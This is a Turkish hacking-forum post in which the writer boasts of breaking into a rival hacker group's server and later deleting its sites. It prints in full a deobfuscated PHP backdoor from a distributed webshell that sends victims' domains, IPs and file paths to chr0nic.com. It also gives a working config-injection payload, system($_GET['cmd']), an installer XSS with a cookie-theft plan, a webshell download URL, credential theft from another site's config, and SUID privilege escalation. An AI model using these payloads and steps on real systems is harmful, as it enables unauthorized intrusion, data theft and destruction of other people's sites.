totalde 4 tane daha saldırı yapabilcegimiz vektor ortaya cıkmıstı (paste.spyhackerz.org,chat.spyhackerz.org,phpshell.spyhackerz.org,encoder.spyhackerz.org)
herangi birini hacklersek
sunucuda imhateam.org'ada girebilirdik
sonrasında devam ettim ve bu domainleri analiz etmeye basladım
(üzgünüm görseller cok kullanamıcam bu bolumde cunku sunucuya girip rootladıktan sonra tum siteleri silmistim, suan sublara erisim 0 :( )
paste.spyhackerz.org incelemeye basladım tatlı ve guzeldi pastebinin sanki Türk versiyonu gibiydi, priv/pub pasteler acabilir veya acılan pasteleri inceleyebiliyorduk
cok fazla fonksyion yoktu
onundede cf waf'ı aktifti
paste kısımlarında xss test ettim fakat tum yazılan payloadlar sanitize edilip kullanıcının onune sunuluyordu, sql injection denedim gene paste idleri uzerınden fakat sonuc yoktu
ve tüm pasteleri inceledim bi tanesinde şunu gördüm:
Ek dosyayı görüntüle: 112
seklinde bir paste gormustum
vee ilk aklıma sql injection, config injection, connection string injection gelmisti:
db bilgilerini kullanıcıdan alsaydı neler yapabilirdik soruları aklımda canlanmıstı suan bu sayfada olmasada database username dahi bizden alsaydı connection stringi bozarak "allowLoadLocalInfile=1" gibi bir field ekleyerek biryerde sql injection bulursak lfi olusturabiliriz
veyaa kullanıcıdan alıyorsa ve sonrasında o config belgelerini bir belgeye yazıyorsa
config injection yaparak
belgeye kendi istedigimiz veriyi yazadabiliriz
escape atmıyorsa egerki yazılan config bilgilerine
(burayı daha iyi anlıaksınız birazcık ilerde yazdıklarımla)
kısaca aklımda suphe uyandırmıstı bu
vee not defterime bunuda not almıstım
ek olarak tamamen sample random bir config icerigiydi cidden db icerigi değildi bu pastedeki icerik
paste subdomaininden hayır cıkmıcagı belli olmustu
tam gaz devam ettim
Ek dosyayı görüntüle: 114
"phpshell.spyhackerz.org" gozume oyle bir carpmıstıki gunes yanıgı olusmustu gozumde:D:D:D:D
ve buna bakmalıyım amk dedim iicine girdim ve icerde gordugum su sahne vardı:
Ek dosyayı görüntüle: 115
burnuma kotu kokular gelmeye baslamıstı, siteyi biraz incelediğimde kısaca amacının websheller sunmak oldugu anlasılıyordu
frontend tarafındaki kodunu okumaya basladım, neler var neler yok, yazan kisi kim ve nasıl bir mantıkla yazmıs? kavramaya calıstım
ve gorunen oyduki apacık ai ile yazılmıs ve "owasp top ten zafiyetlerine dikkat ederek kodla" talimatı verilerek hazırlanmıs basit bir siteydi
tatlıydı vee amacı iyi gibi duruyordu taa ki
bir site hackledin ve shell atıcaksın gelişmiş olmalı kaliteli olmalı
webshell arıyosun arıyosun bulamıyorsun
burası cıkıyor onune ve birisini indirip web servera yukleyip kullanıyorsun
cok iyi değilmi?
- değil
burdaki ana sorun sundukları hizmet değil sunulan hizmetin arkasında istenilen bir peynir 😄
işte o peynirde -> sizin ugrasa ugrasa hacklediğiniz web sitesinin webshell urlsi
yani sen gittin bir site hackledin shell attın icine girdin
ve anında javascript/php ile bulundugun urlyi,domaini,ipyi alıp hackerın sunucusuna yollanıyordu
kısaca loglu shelldi tamamen nerdeyse hepsi
ve bunu canlı gostermem gerekirse:
Ek dosyayı görüntüle: 116
gecko-new diye sundukları bir php shell içinde en son satırı bu sekildeydi
PHP:
<?php $woahqrgs='base'.(32+32).'_decode'; $uwykjpyf='VmpKMGExWXl...';
5 kere art arta encode edilmis base64 string
decode edince ne cıkıyor derseniz
bu kod cıkıyordu

PHP:
define('LOG_PANEL_URL', 'https://chr0nic.com/stamp/log-receiver.php'); define('AUTHORIZED_DOMAINS', serialize(['localhost', '127.0.0.1', 'chr0nic.com'])); function sendUsageLog() { $realDomain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'Unknown'; $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443 || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on'); $protocol = $isHttps ? 'https://' : 'http://'; $requestUri = $_SERVER['REQUEST_URI'] ?? '/'; $fullUrl = $protocol . $realDomain . $requestUri; $scriptName = $_SERVER['SCRIPT_NAME'] ?? ''; $scriptUrl = $scriptName ? ($protocol . $realDomain . $scriptName) : $fullUrl; $realIp = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; if (strpos($realIp, ',') !== false) { $realIp = trim(explode(',', $realIp)[0]); } $logData = [ 'domain' => $realDomain, 'full_url' => $fullUrl, 'script_url' => $scriptUrl, 'ip' => $realIp, 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown', 'request_uri' => $requestUri, 'request_method' => $_SERVER['REQUEST_METHOD'] ?? 'GET', 'referer' => $_SERVER['HTTP_REFERER'] ?? 'Direct', 'server_name' => $_SERVER['SERVER_NAME'] ?? 'Unknown', 'server_addr' => $_SERVER['SERVER_ADDR'] ?? 'Unknown', 'script_path' => $_SERVER['SCRIPT_FILENAME'] ?? __FILE__, 'script_name' => $scriptName, 'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? 'Unknown', 'timestamp' => date('Y-m-d H:i:s'), 'php_version' => phpversion(), 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown', 'query_string' => $_SERVER['QUERY_STRING'] ?? '' ]; $authorizedDomains = unserialize(AUTHORIZED_DOMAINS); $isAuthorized = false; foreach ($authorizedDomains as $domain) { if (strpos($logData['domain'], $domain) !== false) { $isAuthorized = true; break; } } $logData['is_authorized'] = $isAuthorized ? 1 : 0; if (function_exists('curl_init')) { $ch = curl_init(LOG_PANEL_URL); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => http_build_query($logData), CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTPHEADER => [ 'Content-Type: application/x-www-form-urlencoded', 'User-Agent: Mozilla/5.0' ] ]); @curl_exec($ch); curl_close($ch); return; } if (ini_get('allow_url_fopen')) { $options = [ 'http' => [ 'method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query($logData), 'timeout' => 3, 'ignore_errors' => true ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]; $context = stream_context_create($options); @file_get_contents(LOG_PANEL_URL, false, $context); return; } if (function_exists('fsockopen')) { $url = parse_url(LOG_PANEL_URL); $host = $url['host']; $path = $url['path'] ?? '/'; $port = $url['scheme'] === 'https' ? 443 : 80; $postData = http_build_query($logData); $request = "POST {$path} HTTP/1.1\r\n"; $request .= "Host: {$host}\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Content-Length: " . strlen($postData) . "\r\n"; $request .= "Connection: Close\r\n\r\n"; $request .= $postData; $fp = @fsockopen($host, $port, $errno, $errstr, 2); if ($fp) { @fwrite($fp, $request); @fclose($fp); } } } function sendUsageLogJS() { $logData = [ 'ip' => $_SERVER['REMOTE_ADDR'] ?? 'Unknown', 'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown', 'timestamp' => date('Y-m-d H:i:s') ]; echo '<script> (function(){ try { // JavaScript ile ger�ek domain ve URL\'yi yakala var data = { domain: window.location.hostname, full_url: window.location.href, script_url: window.location.protocol + "//" + window.location.host + window.location.pathname, ip: "' . ($logData['ip']) . '", user_agent: navigator.userAgent, request_uri: window.location.pathname + window.location.search, referer: document.referrer || "Direct", timestamp: "' . $logData['timestamp'] . '", query_string: window.location.search }; var xhr = new XMLHttpRequest(); xhr.open("POST", "' . LOG_PANEL_URL . '", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(Object.keys(data).map(k => k + "=" + encodeURIComponent(data[k])).join("&")); } catch(e) { // Fetch API fallback fetch("' . LOG_PANEL_URL . '", { method: "POST", headers: {"Content-Type": "application/x-www-form-urlencoded"}, body: new URLSearchParams({ domain: window.location.hostname, full_url: window.location.href, timestamp: "' . $logData['timestamp'] . '" }) }).catch(()=>{}); } })(); </script>'; } function asyncSendLog() { $realDomain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'Unknown'; $isHttps = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443; $protocol = $isHttps ? 'https://' : 'http://'; $fullUrl = $protocol . $realDomain . ($_SERVER['REQUEST_URI'] ?? '/'); $realIp = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown'; if (strpos($realIp, ',') !== false) { $realIp = trim(explode(',', $realIp)[0]); } if (function_exists('exec')) { $cmd = sprintf( 'curl -X POST "%s" -d "%s" > /dev/null 2>&1 &', LOG_PANEL_URL, http_build_query([ 'domain' => $realDomain, 'full_url' => $fullUrl, 'ip' => $realIp, 'timestamp' => date('Y-m-d H:i:s') ]) ); @exec($cmd); } } @sendUsageLog(); @asyncSendLog(); @sendUsageLogJS(); $authorizedDomains = unserialize(AUTHORIZED_DOMAINS); $currentDomain = $_SERVER['HTTP_HOST'] ?? 'Unknown'; $isAuthorized = false; foreach ($authorizedDomains as $domain) { if (strpos($currentDomain, $domain) !== false) { $isAuthorized = true; break; } }

sabit tanımlanmıs olan https://chr0nic.com/stamp/log-receiver.php endpointine
------------------
domain, full_url, script_url → shell'in tam adresi
ip → ziyaretçinin gerçek IP'si (CF-Connecting-IP öncelikli)
user_agent, referer → tarayıcı bilgisi
server_addr, document_root → sunucu iç yapısı
script_path (__FILE__) → sunucudaki tam dosya yolu
php_version, server_software → teknoloji parmak izi
timestamp → erişim zamanı
------------------
verilerini yolluyordu
shell calıstıgı an
3 tane fallback mekanizması vardı
yani birisinden yollaması basarısız olursa
diğerine geciyordu
1. curl_exec() → birincil, async, 3sn timeout
2. file_get_contents → allow_url_fopen açıksa
3. fsockopen() → raw TCP, her zaman çalışır

fakat hic bilmedigimiz ve on planda olmayan
yeni bir atak vektoru canlanmıstı
"chr0nic.com"
imhateam'i kronik edicek domain, chr0nic.com 😄
domaini analiz etmeye koyuldum:
keşife ilk olarak origin ip ve dizin taramasından basladım
gene main domain cf kaydı vardı fakatt subdomain taraması sonucu bir domain ortaya cıktı:
**webhook.chr0nic.com**
ve bundaki hata ne derseniz, cf kaydı yapılmamıstı
sonuclar harikaydı
ve artık elimizde yeni bir sunucu , veyaaa bildigimiz ama sunucu ipsini bilmedigimiz bir sunucunun
origin ipsi gecmisti :))
- 51.75.78.221 -
pekii bi tarayalım, imhateam.org burdamı barınıyordu yoksa?
Ek dosyayı görüntüle: 118
ve evet, imhateam.org un asıl origin ipsini bulmustuk
peki simdi ne yapıcaz diyor insan
- hedef shared hosttamı -> evet -> aynı sunucuda barınan dğer sitelerden sunucuya gir
- hedefin hostingi nere / hostingte zafiyet olabilirmi
- veya dumduz chr0nic'in web scriptinde zafiyet olabilirmii??
sırayla her durumu test ediyoruz
shared hosting değil ovh den private sunucu alınmıs bicimde
yani sunucudaki her config, her koruma yapısı sunucu adminine baglı 🙂
simdi yaptıklarım ise
ip adresini reconlamak, acık portlarını sıralandırtmak ve yeni atak vektorleri olusturmaktır
cp.imhatimi.com
vps-f9cf0fa2.vps.ovh.net
wolwarez.com
www.wolwarez.com
chr0nic.com
bu sunucuda bulunan sırasıyla domainler bunlardı, en azından kör hal ile çıkarttıklaırmdı bunlar
sonrasında wolwarezi inceledim
- imtdeki bir uyenin kendi warez forumuydu
- pluginleri ve etkilesim kurabilcegim genel seylere baktım
- siropu chat vardı
en son çare oradan yurucektim, kenarda beklettim o olasılıgı.
sonrasında geri chr0nic.com'a ve dizin taraması+script analizi yaptım
owasp top ten checkledim hızlıca sitede
arama yapma yerinde path disclosure oluyordu
/home/chr0nic.com/public_html/
bu değerliydi esasında cunku shared host olsaydı ve apache kullansaydı web sunucusu olarak ve mod_userdir acık olsaydı
ip.ip.ip.ip/~username/ ile hedef sitenin kullanıcı adını yazarak web root'unu okuyabilirdim
bundan yola cıkarakta hem cors varsa bypasslamıs olurdum hemde client side saldırılarının amına koyardım
fakaat shared host değildi, bu yapılandırma acık değildi default olarak, es gectim
devam ettim analize:
ui böyleydi ve ekranda bir tanede blog vardı
Ek dosyayı görüntüle: 119
hızlıca sql inj varmı yokmu diye baktım o kısımlara ve arama kısmında aratmaların sonuclarını nasıl yazılıyor diye baktım
kısaca bi zafiuet yoktu buralarda
dizin tarama sonucları gelmisti
https://chr0nic.com/admin/
admin giriş arayuzu vardı , unauth erişim icin onlem alınmıstı
web root altındaki ilk dizin taraması sonucsuzdu
sonra aklıma webshell loglamaıs yapılan endpointin oldugu dizin geldi
https://chr0nic.com/stamp/
burayada bir tarama yaptım
https://chr0nic.com/stamp/debug.log ve https://chr0nic.com/stamp/panel.php cıkmıstı
vaybe dedim debug.log inceleyince
şunu yapmışlardı:
her gelen webshell yukleme istediginin dump request hali loglanıyordu
tam olarak şu şekildeydi içi:
Ek dosyayı görüntüle: 117
şaşırtıcı ve aptalcaydı acıkcası, fakat kim gelipte buraya bakar diye dusunuyor insan bunu yaparken :<
her loglanan shell'e ve bilgilerine erişim saglamıstık bile ::>>
fakat yeterli değildi
hedefimiz esasında imhateam.org du
devam ettim
daha buyuk bir liste ile tarama yapınca -> /installer.php isimli bir belge oldugu ortaya cıktı
icine girince ise blog sitesnin kurulum sayfası cıkıyordu
Ek dosyayı görüntüle: 120
peki düşünün burda neler deneyebiliriz?
ben şunları düşündüm
- kendi databaseimize baglayıp kalıcılık saglayabilirdik ve istedigimiz zaman admin olusturup girebilirdik blog'a
- xss, db username yanlıs girince veya baglantı basarısız olunca ekranda ordaki herangi bi name'i örneğin db username i basıyorsa ki basıyor ve bunu sanitize etmeden basıyorsa, reflected based post xss olusuyordu
ve her ikiside calıstı
Ek dosyayı görüntüle: 121
istersem site acıp girildiği an post req i tetikleyecek ve buraya redirect edicek ve payload olarakta document.cookie calıstırıp cookieleri alıp kendime aktarabilirdim
ki httponly dahi acık değildi kısaca pek engel olcak bisi yoktu bana (httponly: javascript ile cookielerin okunmasını engelleyen bir client side flagdır)
fakaat bana daha havalı ve dahaa nasıl desem hızlı sonuc alıcagım bir yol gerektigini istiyordum
cunku 2.gunun gecesindeydim ve artık bişeylere ulasmak istiyordum
bi tık sıkılma gelmisti
dusundum ne yapabiliriz diye
veee aklıma
- config file injection geldi
bu mahlukat nedir derseniz : şöyleki şimdi installer'da sizden bazı bilgiler alıyor değilmi
db name, db username, db server , db password
sonra ne yapıcak bunları
alıp biryere kaydedicekki
onu her sayfada cagırıcak
yani depolamaya kaydetmesi gerek işte
ramde tutamazya bu verileri
haliyle config.php veya o verileri kaydediceği bir belgeye bunları yazıyor
daha iyi anlamanız acısından:
sen bir filsin, adın ahmet
zekisin ve basit birisin
installer.php'ye girdin ve db bilgilerini yazdın
<?php
define('DB_HOST', 'localhost');
define('DB_USER', 'normal_user');
define('DB_PASS', 'sifre123');
define('DB_NAME','db_namelalalala');
define('SITE_NAME','babaprolar')
ve installer.php o verileri alıp -> config.php ye yazdı
şu şekilde bir içerik oluştu ve altındada database e baglanma kodu varsayalım
peki şimdi bir tanede maymun düşünün ismide necmi
basit birisi değil, sacma dusunerek yapar herseyi
ve bu senaryoda ise şunu dusunuyor
burda nasıl configi bozarım, configden shell elde ederim 😄
ve şunu yapıyor
sırasıyla burda alınan inputlara verileri yazıyor
db_username=necminin_dbusername
db_passwd=necminin_db_passwordu
db_server=necminin_mysql_baslattigi_sunucu_ip/domain
db_name=necminin_db_adi
fakaat site_name degeri olarak ise şunu yazıyor
'); system($_GET['cmd']
ve sonucta ne olusuyor derseniz
<?php
define('DB_HOST', 'localhost');
define('DB_USER', 'normal_user');
define('DB_PASS', 'sifre123');
define('DB_NAME','db_namelalalala');
define('SITE_NAME','babaprolar');
system($_GET['cmd'] );
yaptıgı sey ise config.php den gelen her get isteginde cmd key'inden gelen her komutu alıp calıstır ve yanıtı ekrana bas diyor
ve dumduz config.php ye yazılırsa bu
neden calısmasınki değilmi 🙂
fix'i nasıl olur diye dusunuyorsanız
hic php belgesine yazmayabiliriz config.json yazıp webden erisimi kısıtlarız okey:D
veyaaa
function sanitize_config_value(string $value): string {
// Sadece harf, rakam, nokta, tire, alt çizgi
if (!preg_match('/^[a-zA-Z0-9.\-_]+$/', $value)) {
throw new InvalidArgumentException('Geçersiz karakter');
}
return $value;
}
seklinde bir fonksiyonla gelen veriyi kontrol et egerki sıkıntı varsa siktiri cek elemana
========
şimdi bunu pratiğe dokelim ve live olarak deneyelim
site url input'une gidip
"
site_url = http://chr0nic.com';
system($_GET['cmd']);
$x='
"
şeklinde value'sini yazdım ve kendi vps/vds/hostumda mysql baslatıp dısa acıp baglantı bilgilerini yazıp
calıstırdım
config.php ye gittim ve ekranda birşey yazıyordu
"Warning: Undefined array key "cmd" in /home/chr0nic.com/public_html/config.php on line 7"
basarmıstım, ?cmd parametresi eksik diyordu türkçe olarak
?cmd=dir yazdım ve
Ek dosyayı görüntüle: 122
artık bir webshellimiz vardı icerde, o an havaya uçmuştum halimi görmeliydiniz amk PWEOJWKL
bende iceri saglam bir webshell soktum ui'ı olan kolay yonetimi olan ve ordan devam ettim işine
https://raw.githubusercontent.com/onemoriarty/moriartyhacked/refs/heads/main/wp-includes.php kullandıgım webshell buydu (alfa shell)
sıradaki hedefimiz artık, sunucuyu rootlamaktı
Ek dosyayı görüntüle: 123
onu nasıl yaptıgıma gelirsek, id komutu sonucu uid=5005(chrni2148) gid=5005(chrni2148) donmustu
bu yuzden roota girmeliydik cunku suanlık biz
chr0nic.com daki dizinlere erisebiliyorduk sadece
bende cat /etc/passwd yazıp bi baktım kimler var kimler yok
ana baba gunu gibiyd icersi::D:D
fakat hem ss olmadıgındn hemde ifsa etmemek adına atmıyom onu, ve cyber panelde guncel versiyondaydı,ve kernel expide yoktu
bildigin kısıtlanmıstım :/
ama esasında burayı profesyonel bir server admini dizmemisti bir hack forum sahibi dizdi :d
/var/lib/mysql altındada tum sitelerin dbleri vardı fakaat gene sadece max isimlerini gorebiliyorduk okuma, yazma, update vs. hicbir iznimiz yoktu
ve /etc/passwd sonucu her kullanıcının dizinine brute force attım
ls /home/username/public_html/
baktım okuyabildigimiz birisi varmı diye , veee cidden bu kısımda sanslıydım
hedefimiz olan
imhateam.org un kullanıcısı olan imha1234'ün web rootunu okuyabilir, belge iclerini inceleyebiliyorduk
cat /home/imha1234/public_html/forum/src/config.php okudum vee
database bilgilerini ele gecirdim sonra chr0n.com a adminer kurup icine girdim
ve ordanda admine kaydım xenforodan admin.php den girincede
plugin yukleme acıktı, ordanda websh3ll yukledim
sonrasındada artık imt elimdeydi, root nasıl oldum derseniz o da şöyle yasandı:
ama ilk temel terimler:
suid nedir ?
acılımı
**Set User ID**
yani kullanıcı idsi set et demektir.
ve bir programı calıstırınca senin kim olduguna bakarak calıstırır
yani whoami yazınca -> necmi sonucunumu aldın
o zaman ls /root/ yazınca permission denied alıcaz yani yetkimiz yok , aşağıdaki resme göre
Ek dosyayı görüntüle: 125
r = read (okuma)
w = write (yazma)
x = execute (çalıştırma)
"-" = yok (o izin verilmemiş)
==========
--- hiçbir şey yapamaz
r-- sadece okur
-w- sadece yazar (nadir, mantıksız)
--x sadece çalıştırır (içini okuyamaz)
rw- okur + yazar, çalıştıramaz
r-x okur + çalıştırır, yazamaz
-wx yazar + çalıştırır, okuyamaz (nadir)
rwx her şeyi yapabilir
========
Ek dosyayı görüntüle: 126
kısaca anlamıssındır suid olayını , chmod un amacını change moderation yani yetkisini değiştiriyoruz oranın
suid'nin temelde yani : bir programı calıstıran kisinin değil, dosyanın sahibinin yetkisiyle calıstırmaktır
find komutuyla suidleri arayabiliriz mesela
find / -perm /4000
burdaki 4000 in amacı bana suid bitlerini getir demektir
basa 4 yazmamızın nedenide
Ek dosyayı görüntüle: 127
suidyi temsil etmesidir
suidleri bulmak icindir
evet şimdi örnek göstereyim
find komutu uzerınden
normalde amacı dosya aramaktır belge aramaktır
fakat -exec ile komutta calıstrabilir
ve suid tanımlıysa
rootta komut calıstırabiliriz
ve bizim senaryomuzda ise şu yasanıyor
suid bitleri cıkartılıyor
ve hole adında kullanıcı var ve kendi suid bitini tanımlamıs sistem admini buna
adıda hole kullanıcının
/usr/bin/hole icinde calısıyor ve
-rwsr-xr-x root root /usr/bin/hole
rootta calısıyor
ornek binary yapısı su halde:

int main(int argc, char *argv[]) {
char *hardcoded_pass = "sikiderman";
if (strcmp(argv[1], hardcoded_pass) == 0) {
setuid(0); // root'a geç
execvp(argv[2], ...); // verilen programı root olarak çalıştır
} else {
printf("Wrong password\n");
}
}

kısaca sikirderman girmezsek
laak gidiyoki siktir ol git
ama arguman 1 e eger sikiderman dersek ve dogru yazdıysak yani ve arguman ikiyede komutumuzu yazdıysak
artık rootta komutumuzu calıstırabiliriz demektir
strings /usr/bin/hole | grep -v "^.\{50,\}$"
yazıyorum ve icinde sikiderman diye bisi cıkıyor
/usr/bin/hole sikiderman dir
yazıyorum dizinleri listeliyor
/usr/bin/hole whoami yazıyorum
ve istedigimiz olay
Ek dosyayı görüntüle: 128
karelerden görüntüler :d
Ek dosyayı görüntüle: 129
----
Ek dosyayı görüntüle: 130
---
Ek dosyayı görüntüle: 132
okudugunuz icin tesekkurler
mr robbottan bir sahne gibi olmuş ellerine sağlık kardeşim
 
Geri
En Üst